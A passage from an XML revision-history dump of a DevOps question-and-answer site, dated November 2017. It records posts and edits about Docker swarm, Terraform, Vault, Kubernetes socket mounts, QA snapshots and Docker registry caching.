Windows container mode it gives machine host correctly." ContentLicense="CC BY-SA 3.0" />
  <row Id="7787" PostHistoryTypeId="1" PostId="2494" RevisionGUID="dcfa350c-cb6c-4144-bb30-a0dd082d2418" CreationDate="2017-11-03T12:31:13.050" UserId="4998" Text="Docker swarm join linux container Error - remote CA does not match fingerprint" ContentLicense="CC BY-SA 3.0" />
  <row Id="7788" PostHistoryTypeId="3" PostId="2494" RevisionGUID="dcfa350c-cb6c-4144-bb30-a0dd082d2418" CreationDate="2017-11-03T12:31:13.050" UserId="4998" Text="&lt;docker&gt;&lt;containers&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7789" PostHistoryTypeId="50" PostId="2207" RevisionGUID="6f83c763-1aad-4b35-a956-23d88a160053" CreationDate="2017-11-03T13:30:05.260" UserId="-1" />
  <row Id="7790" PostHistoryTypeId="5" PostId="2494" RevisionGUID="35d793ee-4436-46fd-8fc6-0d09fc36c88a" CreationDate="2017-11-03T13:45:56.167" UserId="4998" Comment="deleted 4 characters in body" Text="**Start docker swarm :**&#xD;&#xA;docker swarm init --advertise-addr MANAGER-IP&#xD;&#xA;&#xD;&#xA;**Join docker swarm:**&#xD;&#xA;docker swarm join --token &lt;generated-tocken&gt; MANAGER-IP:2377&#xD;&#xA;&#xD;&#xA;I am using Windows 10,&#xD;&#xA;it is working fine with Windows container mode, but gives below error in Linux container mode.&#xD;&#xA;&#xD;&#xA;**Error:**&#xD;&#xA;&#xD;&#xA;Error response from daemon: remote CA does not match fingerprint. Expected: 91030413f17ec7c023a2a796ee05a024915080ca8dfd646a597c7e966f667df6&#xD;&#xA;&#xD;&#xA;**Docker swarm manager command: docker node ls**&#xD;&#xA;&#xD;&#xA;    ID                            HOSTNAME            STATUS              AVAILABILITY        MANAGER STATUS&#xD;&#xA;    2zf1l2o7sl2a1qka55s2vi77x *   moby                Ready               Active              Leader&#xD;&#xA;&#xD;&#xA;Host name is **moby**, when running in Windows container mode it gives machine host correctly." ContentLicense="CC BY-SA 3.0" />
  <row Id="7791" PostHistoryTypeId="2" PostId="2495" RevisionGUID="36276f92-80e2-4e9f-a7f3-f2020be540fb" CreationDate="2017-11-03T13:56:02.470" UserId="4328" Text="I think the time and effort it will take to set up another tool that performs this type of work will be about the same as it would be to setup Jenkins. If you are looking into a different tool though, I would checkout [Rundeck][1]. It is a great tool for creating scripts and allowing other privileged users to execute them. I'm not sure if it will meet your needs for predetermined fields/dropdowns, but there are plugins available that may help. &#xD;&#xA;&#xD;&#xA;  [1]: http://rundeck.org/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7792" PostHistoryTypeId="50" PostId="1877" RevisionGUID="10c3f080-94e7-4b05-8aab-e512f57330d2" CreationDate="2017-11-03T14:30:28.730" UserId="-1" />
  <row Id="7794" PostHistoryTypeId="50" PostId="1917" RevisionGUID="d78b1c3b-6c50-4091-8939-ec50546e174d" CreationDate="2017-11-03T15:31:37.923" UserId="-1" />
  <row Id="7795" PostHistoryTypeId="2" PostId="2496" RevisionGUID="fa046f5f-8ea8-4bf2-8185-893ed29abf31" CreationDate="2017-11-03T16:09:30.933" UserId="4854" Text="It looks like you're using the wrong brackets? I think you need to use a list:&#xD;&#xA;&#xD;&#xA;    variable &quot;azs&quot; {&#xD;&#xA;      description = &quot;Run the EC2 Instances in these Availability Zones&quot;&#xD;&#xA;      type = &quot;list&quot;&#xD;&#xA;      default = [&quot;us-east-1a&quot;, &quot;us-east-1b&quot;, &quot;us-east-1c&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;[Source][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.gruntwork.io/terraform-tips-tricks-loops-if-statements-and-gotchas-f739bbae55f9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7796" PostHistoryTypeId="2" PostId="2497" RevisionGUID="1336faee-9d76-4df4-9019-d59936a93233" CreationDate="2017-11-03T16:14:40.220" UserId="4854" Text="I assume your vault would be being accessed over a network, so you would ask a colleague to use their own command line on their own workstation to enter their key. Mine requires 3 keys to unseal so I just have 3 users independently enter the `vault unseal` command with their key." ContentLicense="CC BY-SA 3.0" />
  <row Id="7797" PostHistoryTypeId="2" PostId="2498" RevisionGUID="330d5bf4-2072-4a25-acca-e32c37f9c4e9" CreationDate="2017-11-03T16:17:28.070" UserId="4854" Text="Assuming person B has a role which also allows them access to the path `secret/hello`, then they would simply run `vault read secret/hello` from their own machine.&#xD;&#xA;&#xD;&#xA;If you're following the demo, I think the vault server will be on your local machine? So if someone else is to connect to it they would need to set `VAULT_ADDR` to point to the IP where the server is running." ContentLicense="CC BY-SA 3.0" />
  <row Id="7799" PostHistoryTypeId="5" PostId="2485" RevisionGUID="837a3d0d-e02b-49b5-9dd6-6755643ffddf" CreationDate="2017-11-03T19:19:54.060" UserId="6" Comment="added 4 characters in body; added 20 characters in body" Text="The two terms are very different.&#xD;&#xA;&#xD;&#xA;Let us start with `immutability`, which literally means &quot;no mutations&quot; or &quot;no changes&quot;. In the DevOps sense, it means that once you created an artifact, be that a container image, or a VM image, or maybe a package from compiled code - you declare that you will never ever change it. Often if any changes are required, you declare that a new version of &quot;thing&quot; will be created instead.&#xD;&#xA;&#xD;&#xA;The term `idempotence` means that when changes are applied **multiple** times, the state is mutated (changed) just **once**. First, it already assumes that there are going to be changes applied which means that you cannot have something both immutable and have idempotent actions done to it (no actions are done to it by contract).&#xD;&#xA;&#xD;&#xA;In the use of configuration management tools, `idempotence` is used in some cases when applying the same change multiple times. Like adding the line that says `localhost` to the `/etc/hosts` file, you don't really need multiple such lines and if one already exists it is safe to not try to append again. &#xD;&#xA;&#xD;&#xA;Also `idempotent` is a term used to describe _actions_ that attempt to change things, while `immutable` is used to describe _nouns_ (objects) that are set against changes done to them.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Why is an `immutable` object useful? Because when you copy it around, for example from a dev environment to qa to production. You already know quite a lot (but not everything) regarding how it is going to behave. In many cases, the parts that are working will be consistent, and the parts that are broken are going to be consistent as well.&#xD;&#xA;&#xD;&#xA;Why are `idempotent` actions useful? Because when you want to change a state of some object, in many cases it is useful to only verify that the change has been applied and apply changes just in case it is required. For example, when a configuration item in a file is missing or has the wrong value, it is useful to add it just once or change it just once while applying the action multiple times. In many other cases, like _log files_, you don't want to have idempotent actions because you often do want to append another line each time some event happens." ContentLicense="CC BY-SA 3.0" />
  <row Id="7800" PostHistoryTypeId="2" PostId="2499" RevisionGUID="279f1975-d362-4803-8a0a-1c7f34101f82" CreationDate="2017-11-03T19:57:37.957" UserId="210" Text="&gt; Where are the travis-ci servers located? Does travis-ci leverage AWS EC2?&#xD;&#xA;&#xD;&#xA;According to [this documentation][1], the servers are located in the USA and AWS EC2 is used as well.&#xD;&#xA;&#xD;&#xA;&gt; Your code, depending on which platform or language runtime you're&#xD;&#xA;&gt; using, is run on virtualized servers running in:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Amazon EC2 datacenters in Ashburn, VA, USA,&#xD;&#xA;&gt;  - MacStadium datacenters in Atlanta, GA, USA,&#xD;&#xA;&gt;  - Google Compute Engine datacenters in Berkeley County, SC and Council Bluffs, Iowa, USA.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://billing.travis-ci.com/pages/security" ContentLicense="CC BY-SA 3.0" />
  <row Id="7801" PostHistoryTypeId="5" PostId="2478" RevisionGUID="022cdcc6-81c1-4809-a463-d421b5724b26" CreationDate="2017-11-03T20:10:17.090" UserId="47" Comment="added 128 characters in body" Text="For questions about Google's Cloud Storage (GCS) - a unified object storage product, part of the Google Cloud Platform offering." ContentLicense="CC BY-SA 3.0" />
  <row Id="7802" PostHistoryTypeId="24" PostId="2478" RevisionGUID="022cdcc6-81c1-4809-a463-d421b5724b26" CreationDate="2017-11-03T20:10:17.090" Comment="Proposed by 47 approved by 40, 210 edit id of 518" ContentLicense="CC BY-SA 3.0" />
  <row Id="7803" PostHistoryTypeId="2" PostId="2500" RevisionGUID="899a13cb-ceda-440f-bdc5-dbe87649f1cf" CreationDate="2017-11-04T06:08:01.327" UserId="5027" Text="if you configured and joined correctly you should see two hosts: one for linux and one for windows.&#xD;&#xA;&#xD;&#xA;windows hosts cannot natively run in linux hosts and vise-versa. this means you have to have different kernels for Linux hosts and Windows hosts in the same swarm. this way they can communicate across the same Docker network.&#xD;&#xA;&#xD;&#xA;see [here][1] for more info&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://msdn.microsoft.com/en-us/virtualization/windowscontainers/docker/configure_docker_daemon" ContentLicense="CC BY-SA 3.0" />
  <row Id="7805" PostHistoryTypeId="50" PostId="2250" RevisionGUID="9a9952c5-afc3-43b5-b4fe-2016b255dff7" CreationDate="2017-11-05T12:02:02.933" UserId="-1" />
  <row Id="7806" PostHistoryTypeId="2" PostId="2501" RevisionGUID="304421bb-751b-4fcf-9fdf-26163893028c" CreationDate="2017-11-05T17:48:55.913" UserId="397" Text="A `Spell` is a function of [Conjure-Up][1] which is a product created by [Canonical][2], the makers of Ubuntu, to be able to provide &quot;Turn Key&quot; installations of popular Open Source technical stacks such as Kubernetes and Open Stack.  These stacks are typically non-trivial to install, so Conjure Up combines the installation of the software and configuration based upon guided best practice through a GUI and CLI interface.&#xD;&#xA;&#xD;&#xA;&gt; conjure-up lets you summon up a big-software stack as a “spell” — a model of the stack, combined with extra know-how to get you from an installed stack to a fully usable one. Start using your big software instead of learning how to deploy it.&#xD;&#xA;&#xD;&#xA;Conjure Up is capable of deploying to Ubuntu, MacOSX and popular public clouds.&#xD;&#xA;&#xD;&#xA;At the time of writing the following spells are available:&#xD;&#xA;&#xD;&#xA; - `kubenetes`&#xD;&#xA; - `openstack`&#xD;&#xA; - `bigdata` incorporating: Hadoop, Spark and Kafka&#xD;&#xA;&#xD;&#xA;  [1]: https://conjure-up.io/&#xD;&#xA;  [2]: https://www.canonical.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7807" PostHistoryTypeId="5" PostId="2501" RevisionGUID="a7a26fba-1d36-44a9-b281-f997ff6d0de3" CreationDate="2017-11-05T17:54:17.443" UserId="397" Comment="Added TL:DR." Text="**TL;DR**: the &quot;Canonical&quot; version of Kubernetes has been customized by Canonical, the developers of Ubuntu, based upon their experiences of running Kubernetes.  &quot;Kubernetes Core&quot; on the other hand is the standard, official, distribution you would on [Kubernetes.io][1].  If you are looking to understand Kubenetes on Ubuntu then I would recommend the Canonical version, if you are wanting a standardised version then go for Kubenetes Core.&#xD;&#xA;&#xD;&#xA;A `Spell` is a function of [Conjure-Up][2] which is a product created by [Canonical][3], the makers of Ubuntu, to be able to provide &quot;Turn Key&quot; installations of popular Open Source technical stacks such as Kubernetes and Open Stack.  These stacks are typically non-trivial to install, so Conjure Up combines the installation of the software and configuration based upon guided best practice through a GUI and CLI interface.&#xD;&#xA;&#xD;&#xA;&gt; conjure-up lets you summon up a big-software stack as a “spell” — a model of the stack, combined with extra know-how to get you from an installed stack to a fully usable one. Start using your big software instead of learning how to deploy it.&#xD;&#xA;&#xD;&#xA;Conjure Up is capable of deploying to Ubuntu, MacOSX and popular public clouds.&#xD;&#xA;&#xD;&#xA;At the time of writing the following spells are available:&#xD;&#xA;&#xD;&#xA; - `kubernetes`&#xD;&#xA; - `openstack`&#xD;&#xA; - `bigdata` incorporating: Hadoop, Spark and Kafka&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/&#xD;&#xA;  [2]: https://conjure-up.io/&#xD;&#xA;  [3]: https://www.canonical.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7813" PostHistoryTypeId="2" PostId="2504" RevisionGUID="7f3a7839-93c9-44cb-b934-2ab36a656696" CreationDate="2017-11-06T15:19:47.910" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7814" PostHistoryTypeId="1" PostId="2504" RevisionGUID="7f3a7839-93c9-44cb-b934-2ab36a656696" CreationDate="2017-11-06T15:19:47.910" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7815" PostHistoryTypeId="2" PostId="2505" RevisionGUID="8035746a-69b0-4ff0-9bf6-0dd8fd3c2d5b" CreationDate="2017-11-06T15:19:47.910" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7816" PostHistoryTypeId="1" PostId="2505" RevisionGUID="8035746a-69b0-4ff0-9bf6-0dd8fd3c2d5b" CreationDate="2017-11-06T15:19:47.910" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7817" PostHistoryTypeId="5" PostId="2505" RevisionGUID="a79d9569-1a8a-4e15-912a-1e52e334a8c9" CreationDate="2017-11-06T15:34:10.563" UserId="1180" Comment="added 247 characters in body" Text="This is a special tag that is designed to be used only by the system for questions that have had all of their other tags removed. Do not add this tag to existing questions, it is reserved for use by the system to identify posts with no valid tags." ContentLicense="CC BY-SA 3.0" />
  <row Id="7818" PostHistoryTypeId="24" PostId="2505" RevisionGUID="a79d9569-1a8a-4e15-912a-1e52e334a8c9" CreationDate="2017-11-06T15:34:10.563" Comment="Proposed by 1180 approved by 46 edit id of 521" ContentLicense="CC BY-SA 3.0" />
  <row Id="7819" PostHistoryTypeId="6" PostId="2488" RevisionGUID="72e2eaf2-904f-47d8-9dfb-de12ed8a638d" CreationDate="2017-11-06T15:34:13.447" UserId="739" Comment="cloud applies more than CI or CD overall" Text="&lt;cloud&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7820" PostHistoryTypeId="24" PostId="2488" RevisionGUID="72e2eaf2-904f-47d8-9dfb-de12ed8a638d" CreationDate="2017-11-06T15:34:13.447" Comment="Proposed by 739 approved by 40, 46 edit id of 520" ContentLicense="CC BY-SA 3.0" />
  <row Id="7822" PostHistoryTypeId="6" PostId="629" RevisionGUID="736d0463-1e13-469b-91df-b8bf1f689561" CreationDate="2017-11-06T18:22:26.103" UserId="40" Comment="edited tags" Text="&lt;make&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7823" PostHistoryTypeId="2" PostId="2506" RevisionGUID="c70da5d8-f492-4f08-bdaf-60631fd7c8bb" CreationDate="2017-11-07T15:40:49.720" UserId="4939" Text="I am using a third party library that creates sibling docker containers via:&#xD;&#xA;&#xD;&#xA;    docker run -d /var/run/docker.sock:/var/run/docker.sock ...&#xD;&#xA;&#xD;&#xA;I am trying to create a Kubernetes deployment out of the above container, but currently getting:&#xD;&#xA;&#xD;&#xA;&gt; Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?&#xD;&#xA;&#xD;&#xA;This is expected because I am not declaring `/var/run/docker.sock` as a volume in the deployment yaml.&#xD;&#xA;&#xD;&#xA;The problem is I don't know how to do this. Is it possible to mount `/var/run/docker.sock` as a volume in a deployment yaml?&#xD;&#xA;&#xD;&#xA;If not, what is the best approach to run docker sibling-containers from within a Kubernetes deployment/pod?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7824" PostHistoryTypeId="1" PostId="2506" RevisionGUID="c70da5d8-f492-4f08-bdaf-60631fd7c8bb" CreationDate="2017-11-07T15:40:49.720" UserId="4939" Text="Docker In Kubernetes Deployment" ContentLicense="CC BY-SA 3.0" />
  <row Id="7825" PostHistoryTypeId="3" PostId="2506" RevisionGUID="c70da5d8-f492-4f08-bdaf-60631fd7c8bb" CreationDate="2017-11-07T15:40:49.720" UserId="4939" Text="&lt;kubernetes&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7826" PostHistoryTypeId="2" PostId="2507" RevisionGUID="aceb33a5-5077-4a1e-8848-8fca48000162" CreationDate="2017-11-07T16:06:31.190" UserId="13" Text="Unverified as I sounds brittle to me to start a container outside of k8s supervision, but you should be able to mount `/var/run/docker.sock` with a [hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath).&#xD;&#xA;&#xD;&#xA;Example variation from the documentation:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: test-pd&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: gcr.io/google_containers/test-webserver&#xD;&#xA;        name: test-container&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - mountPath: /var/run/docker.sock&#xD;&#xA;          name: docker-sock-volume&#xD;&#xA;      volumes:&#xD;&#xA;      - name: docker-sock-volume&#xD;&#xA;        hostPath:&#xD;&#xA;          # location on host&#xD;&#xA;          path: /var/run/docker.sock&#xD;&#xA;          # this field is optional&#xD;&#xA;          type: File&#xD;&#xA;&#xD;&#xA;I think a simple mount should be enough to allow communication from docker client within the container to docker daemon on host but in case you get a write permission error it means you need to run your container as privileged container&#xD;&#xA; using a [securityContext][1] object like such (just an extract from above to show the addition, values taken from [the documentation][2]):&#xD;&#xA;&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: gcr.io/google_containers/test-webserver&#xD;&#xA;        securityContext:&#xD;&#xA;          privileged: true&#xD;&#xA;        name: test-container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-the-security-context-for-a-container&#xD;&#xA;  [2]: https://kubernetes.io/docs/api-reference/v1.8/#securitycontext-v1-core" ContentLicense="CC BY-SA 3.0" />
  <row Id="7830" PostHistoryTypeId="5" PostId="2507" RevisionGUID="afa20d9a-9616-46cf-ae1c-443e8d7432f2" CreationDate="2017-11-08T06:53:44.347" UserId="13" Comment="added 1 character in body" Text="Unverified as it sounds brittle to me to start a container outside of k8s supervision, but you should be able to mount `/var/run/docker.sock` with a [hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath).&#xD;&#xA;&#xD;&#xA;Example variation from the documentation:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: test-pd&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: gcr.io/google_containers/test-webserver&#xD;&#xA;        name: test-container&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - mountPath: /var/run/docker.sock&#xD;&#xA;          name: docker-sock-volume&#xD;&#xA;      volumes:&#xD;&#xA;      - name: docker-sock-volume&#xD;&#xA;        hostPath:&#xD;&#xA;          # location on host&#xD;&#xA;          path: /var/run/docker.sock&#xD;&#xA;          # this field is optional&#xD;&#xA;          type: File&#xD;&#xA;&#xD;&#xA;I think a simple mount should be enough to allow communication from docker client within the container to docker daemon on host but in case you get a write permission error it means you need to run your container as privileged container&#xD;&#xA; using a [securityContext][1] object like such (just an extract from above to show the addition, values taken from [the documentation][2]):&#xD;&#xA;&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: gcr.io/google_containers/test-webserver&#xD;&#xA;        securityContext:&#xD;&#xA;          privileged: true&#xD;&#xA;        name: test-container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-the-security-context-for-a-container&#xD;&#xA;  [2]: https://kubernetes.io/docs/api-reference/v1.8/#securitycontext-v1-core" ContentLicense="CC BY-SA 3.0" />
  <row Id="7831" PostHistoryTypeId="2" PostId="2508" RevisionGUID="4e646fcf-3f12-41a0-bfa5-27a18e1b2731" CreationDate="2017-11-08T10:04:48.877" UserId="5078" Text="We quiet a long and drawn out QA process with our team using snapshots for their virtual environments. We have several issues with this and we are looking to streamline this.&#xD;&#xA;&#xD;&#xA;One of my ideas is to either create an app / script or use some tool to backup / snapshot the application server and MS SQL database at the same time.&#xD;&#xA;&#xD;&#xA;What other tools are available for example?&#xD;&#xA;&#xD;&#xA;Also what recommendations would you make?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7832" PostHistoryTypeId="1" PostId="2508" RevisionGUID="4e646fcf-3f12-41a0-bfa5-27a18e1b2731" CreationDate="2017-11-08T10:04:48.877" UserId="5078" Text="Testing Applications" ContentLicense="CC BY-SA 3.0" />
  <row Id="7833" PostHistoryTypeId="3" PostId="2508" RevisionGUID="4e646fcf-3f12-41a0-bfa5-27a18e1b2731" CreationDate="2017-11-08T10:04:48.877" UserId="5078" Text="&lt;testing&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7834" PostHistoryTypeId="10" PostId="2508" RevisionGUID="5a9f5047-9558-4cb3-a850-a01754b07ae6" CreationDate="2017-11-08T10:06:50.067" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="7835" PostHistoryTypeId="4" PostId="2508" RevisionGUID="edbe37f3-e4d2-41f3-a98b-68992805d8a6" CreationDate="2017-11-08T11:08:19.397" UserId="-1" Comment="Change title to reflect question" Text="Testing Database Applications in QA Testing Environments" ContentLicense="CC BY-SA 3.0" />
  <row Id="7836" PostHistoryTypeId="24" PostId="2508" RevisionGUID="edbe37f3-e4d2-41f3-a98b-68992805d8a6" CreationDate="2017-11-08T11:08:19.397" Comment="Proposed by 85.118.174.55|4f3b225f-8774-4f7c-979a-d0043879e9da approved by -1 edit id of 523" ContentLicense="CC BY-SA 3.0" />
  <row Id="7837" PostHistoryTypeId="5" PostId="2508" RevisionGUID="e183265e-a566-463b-8362-13c90cd2ed71" CreationDate="2017-11-08T11:08:19.397" UserId="40" Comment="added 5 characters in body; edited title" Text="We have quiet a long and drawn out QA process with our team using snapshots for their virtual environments. We have several issues with this and we are looking to streamline this.&#xD;&#xA;&#xD;&#xA;One of my ideas is to either create an app / script or use some tool to backup / snapshot the application server and MS SQL database at the same time.&#xD;&#xA;&#xD;&#xA;What other tools are available for example?&#xD;&#xA;&#xD;&#xA;Also what recommendations would you make?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7838" PostHistoryTypeId="4" PostId="2508" RevisionGUID="e183265e-a566-463b-8362-13c90cd2ed71" CreationDate="2017-11-08T11:08:19.397" UserId="40" Comment="added 5 characters in body; edited title" Text="How to test database applications in QA testing environments?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7839" PostHistoryTypeId="11" PostId="2508" RevisionGUID="a6352bcc-38d0-4db7-a658-409dcfe3fe06" CreationDate="2017-11-08T13:00:07.283" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="7840" PostHistoryTypeId="5" PostId="2491" RevisionGUID="d901e149-df74-4c9a-8c22-95aa08320dd4" CreationDate="2017-11-08T14:03:54.260" UserId="739" Comment="copy editing and remote premature thanks" Text="I've created a number of scripts in PowerShell that require a number of parameters to be manually entered.&#xD;&#xA;&#xD;&#xA;Unfortunately, until we have our Jenkins server setup to support these additional tasks I need to pass these scripts to other technicians.&#xD;&#xA;&#xD;&#xA;Ideally I would like an application that could accept the parameters via predetermined fields and dropdown menus then run the appropriate script.&#xD;&#xA;&#xD;&#xA;Is there anything already available that would fulfill that need or will I need to knock something up myself?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7841" PostHistoryTypeId="4" PostId="2491" RevisionGUID="d901e149-df74-4c9a-8c22-95aa08320dd4" CreationDate="2017-11-08T14:03:54.260" UserId="739" Comment="copy editing and remote premature thanks" Text="Application to run PowerShell scripts" ContentLicense="CC BY-SA 3.0" />
  <row Id="7842" PostHistoryTypeId="24" PostId="2491" RevisionGUID="d901e149-df74-4c9a-8c22-95aa08320dd4" CreationDate="2017-11-08T14:03:54.260" Comment="Proposed by 739 approved by 40, 47 edit id of 522" ContentLicense="CC BY-SA 3.0" />
  <row Id="7846" PostHistoryTypeId="5" PostId="2508" RevisionGUID="d434a9d2-c0ed-45f1-8205-03605f33502c" CreationDate="2017-11-08T15:44:57.253" UserId="5078" Comment="added 1915 characters in body" Text="&#xD;&#xA;### Process&#xD;&#xA;&#xD;&#xA;Our current process is:&#xD;&#xA;&#xD;&#xA;1. Build process produces a windows setup (msi).  &#xD;&#xA;&#xD;&#xA;   This setup consists of a web site deployment and also database scripts - which can create a new database or upgrade an existing version. &#xD;&#xA;&#xD;&#xA;2. The QA person needs to snapshot their Application server and their Database server.&#xD;&#xA;3. The QA person then runs the setup on their own windows server.&#xD;&#xA;4. The setup installs a web site and updates the database. &#xD;&#xA;&#xD;&#xA;The purpose of the snapshots is to give them something to rollback to - to compare any behavioural changes between different versions of the application.&#xD;&#xA;&#xD;&#xA;### Current Technology and Environments&#xD;&#xA;&#xD;&#xA;We rollout to Windows Server 2008r2 and above.  The Database servers are Windows Server 2008r2 and above with SQL Server 2008r2.  &#xD;&#xA;&#xD;&#xA;Our QA is a bit mixed in terms of what Virtualisation is being used. Our teams work in two ways, one with SQL Installed on the server and another process with the traditional app server / sql servers being separate. The servers are running on mix of storage using SSD / SAN and SAS drives, each server generally has 60gb HD, running 4gb ram. SQL Servers have 8gb or more&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Drawbacks&#xD;&#xA;&#xD;&#xA;The biggest drawback is the speed at which the environments are backed up - in terms of speed and the amount of space they take up.&#xD;&#xA;&#xD;&#xA;### My Thoughts &#xD;&#xA;&#xD;&#xA;One of my ideas is to either create an app / script or use some tool to backup / snapshot the application server and MS SQL database at the same time.&#xD;&#xA;&#xD;&#xA;### Questions&#xD;&#xA;&#xD;&#xA;I would like to know how other people are rolling out changes with a similar process to what we go through.&#xD;&#xA;&#xD;&#xA;Additionally:&#xD;&#xA;&#xD;&#xA;1. What other tools are available for example?&#xD;&#xA;2. Also what recommendations would you make?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7847" PostHistoryTypeId="2" PostId="2510" RevisionGUID="a280cd9f-e165-4279-8409-7677d0a44323" CreationDate="2017-11-08T16:37:52.727" UserId="5086" Text="I have just been speaking to a DevOps guy who raised some really good points about the struggles of being a DevOps Engineer and feeling like a one-man army sometimes, even though he is in a team of 16 Engineers.&#xD;&#xA;&#xD;&#xA;He wears lots of different hats, but sits in the Development team doing infrastructure work. He loves the cool tech that he gets to work with- loads of automation, cloud, containerization etc., but he struggles that he is the only person doing ops, on a dev team. He reports to the Development Manager, but works more closely with the Infrastructure Manager. &#xD;&#xA;&#xD;&#xA;This seems to be the case with lots of DevOps professionals I speak to. What could be done to help DevOps Engineers feel less like a lone wolf?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7848" PostHistoryTypeId="1" PostId="2510" RevisionGUID="a280cd9f-e165-4279-8409-7677d0a44323" CreationDate="2017-11-08T16:37:52.727" UserId="5086" Text="DevOps Engineering Challenge- feeling like a lone wolf" ContentLicense="CC BY-SA 3.0" />
  <row Id="7849" PostHistoryTypeId="3" PostId="2510" RevisionGUID="a280cd9f-e165-4279-8409-7677d0a44323" CreationDate="2017-11-08T16:37:52.727" UserId="5086" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7850" PostHistoryTypeId="2" PostId="2511" RevisionGUID="555eea71-d7f7-4470-bda2-c43ff6fe8df4" CreationDate="2017-11-08T17:42:20.440" UserId="5093" Text="I have a docker registry image running on a local network, but enabling the caching of images stored in Docker Hub requires one to pull the image, and push it in the local registry&#xD;&#xA;&#xD;&#xA;Is there a way to configure the docker registry to do automatic pull-through if the image requested is not available locally?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7851" PostHistoryTypeId="1" PostId="2511" RevisionGUID="555eea71-d7f7-4470-bda2-c43ff6fe8df4" CreationDate="2017-11-08T17:42:20.440" UserId="5093" Text="Private docker registry that attempts a pull-through on images not found locally" ContentLicense="CC BY-SA 3.0" />
  <row Id="7852" PostHistoryTypeId="3" PostId="2511" RevisionGUID="555eea71-d7f7-4470-bda2-c43ff6fe8df4" CreationDate="2017-11-08T17:42:20.440" UserId="5093" Text="&lt;docker&gt;&lt;registry&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7853" PostHistoryTypeId="2" PostId="2512" RevisionGUID="f0bc0ded-d221-4fca-abc9-46413b4e5c3a" CreationDate="2017-11-08T18:05:37.853" UserId="47" Text="Yes, it is possible. The entire subject is discussed in [Registry as a pull through cache][1], from where the below quotes are taken. &#xD;&#xA;&#xD;&#xA;Basically you need to configure the cache as a proxy for Docker Hub:&#xD;&#xA;&#xD;&#xA;&gt; **Configure the cache**&#xD;&#xA;&gt; &#xD;&#xA;&gt; To configure a Registry to run as a pull through cache, the addition&#xD;&#xA;&gt; of a `proxy` section is required to the config file.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In order to access private images on the Docker Hub, a username and&#xD;&#xA;&gt; password can be supplied.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     proxy:&#xD;&#xA;&gt;       remoteurl: https://registry-1.docker.io&#xD;&#xA;&gt;       username: [username]&#xD;&#xA;&gt;       password: [password]&#xD;&#xA;&#xD;&#xA;Of course, you also need to configure your docker daemon to use your local cache (but I presume that may be already done from the context of the question):&#xD;&#xA;&#xD;&#xA;&gt; **Configure the Docker daemon**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Either pass the `--registry-mirror` option when starting `dockerd`&#xD;&#xA;&gt; manually, or edit `/etc/docker/daemon.json` and add the&#xD;&#xA;&gt; `registry-mirrors` key and value, to make the change persistent.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     {&#xD;&#xA;&gt;       &quot;registry-mirrors&quot;: [&quot;https://&lt;my-docker-mirror-host&gt;&quot;]&#xD;&#xA;&gt;     